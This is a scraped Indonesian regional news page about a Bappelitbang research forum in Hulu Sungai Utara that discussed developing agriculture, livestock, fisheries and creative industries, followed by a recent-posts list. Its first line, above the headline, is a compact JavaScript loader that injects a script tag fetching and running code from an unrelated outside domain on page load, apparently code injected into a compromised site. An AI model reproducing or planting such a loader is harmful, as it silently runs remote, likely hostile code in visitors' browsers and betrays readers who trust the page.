(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Ini Sektor Yang Harus Dikaji Mendalam Oleh Bappelitbang HSU


AMUNTAI, Sektor pertanian, peternakan, perikanan dan industri kreatif di HSU berpotensi sangat besar untuk terus dikembangkan. Melihat kondisi itulah, sejumlah peneliti Balitbangda Provinsi Kalimantan Selatan tertarik membahas dalam sosialisasi forum kelitbangan.

Kepala Bappelitbang HSU H Fajeri Ripani saat membuka Sosialisai Forum Kelitbangan, Kamis (28/11) di aula Bappelitbang HSU, perlunya sosialisasi kelitbangan bertujuan untuk meningkatkan fungsi kelitbangan di Kabupaten HSU, karena HSU masih masuk kategori daerah tertinggal.

“Sehingga sangat penting fungsi litbang di daerah ini, terutama bagi segala pemangku kepentingan yang terlibat didalamnya,” katanya.

Persoalan dalam pembangunan pemerintah daerah selalu muncul dalam berbagai permasalahan. Hal tersebut menuntut kehadiran kebijakan yang tepat dan mampu mengakomodasi berbagai kepentingan dan kebutuhan masyarakat. Oleh karena itu, pembentukan instansi yang menangani kegiatan penelitian dan pengembangan berdasarkan kajian merupakan sebuah kebutuhan yang tidak dapat ditawar-tawar dalam menunjang kebijakan daerah.

Peneliti Balitbangda Provinsi Kalimantan Selatan Sugiharni melihat keadaan alam di Kabupaten HSU yang tidak dapat memanfaatkan sektor tambang sebagai modal pembangunan, tetapi Kabupaten HSU dapat memaksimalkan sumber daya alam yang dapat diperbaharui seperti sektor pertanian umum, kehutanan, peternakan itik dan kerbau, sektor perikanan dan industri olahan yang sudah mulai berjalan.

“Sektor inilah yang perlu dilakukan pengembangan yang luas,” katanya.

“Apalagi masyarakat HSU punya kreatifitas tinggi dan naluri bisnis tinggi hanya saja sumbangan masyarakat tersebut terhadap pendapatan asli daerah (PAD) masih kecil,” pungkas Sugiharni

Peneliti Madya Balitbangda Provinsi Kalimantan Selatan Drs Wajidi mengatakan, selama ini Bappelitbang berperan meneliti masalah yang muncul di masyarakat, agar hasil penelitian dapat langsung diaplikasikan kepada masyarakat.

“Wadah bagi peneliti adalah Bappelitbang oleh karena itu peneliti mengerjakan yang sesuai dengan kepakarannya masing-masing,” katanya. (dewahyudi)

Foto : dewahyudi


Desy Arfianty

Recent Posts

21 Mei: Sejarah Hari Peringatan Reformasi nasional

KANALKALIMANTAN.COM - Hari Reformasi Nasional diperingati setiap 21 Mei, menjadi momen pengingat seluruh masyarakat Indonesia… Read More

4 jam ago

Syarat Dukungan Ditolak, Bakal Calon Perseorangan Pilwali Banjarmasin Ajukan Sengketa ke Bawaslu

KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More

14 jam ago

ETLE Segera Terpasang di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Sejumlah titik krusial pelanggaran lalu lintas dan kerawanan kecelakaan lalu lintas menjadi… Read More

14 jam ago

Dinas PUPR Kalsel Gelar Bimtek Pengelolaan Air Limbah

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalsel mengadakan kegiatan Bimbingan… Read More

15 jam ago

Rekomendasi Partai Tak Pasti, Jaya-Abdi Siap Jadi Penantang Petahana Aditya-Yuti

Jaya : Penantang Bisa Lebih dalam Mengevaluasi Kinerja Petahana Read More

16 jam ago

Lima Jabatan di Polres Banjarbaru Rotasi, 12 Personel Terima Penghargaan Kapolda

KANALKALIMANTAN.COM, BANJARBARU - Lima jabatan yang diisi para perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

17 jam ago

This website uses cookies.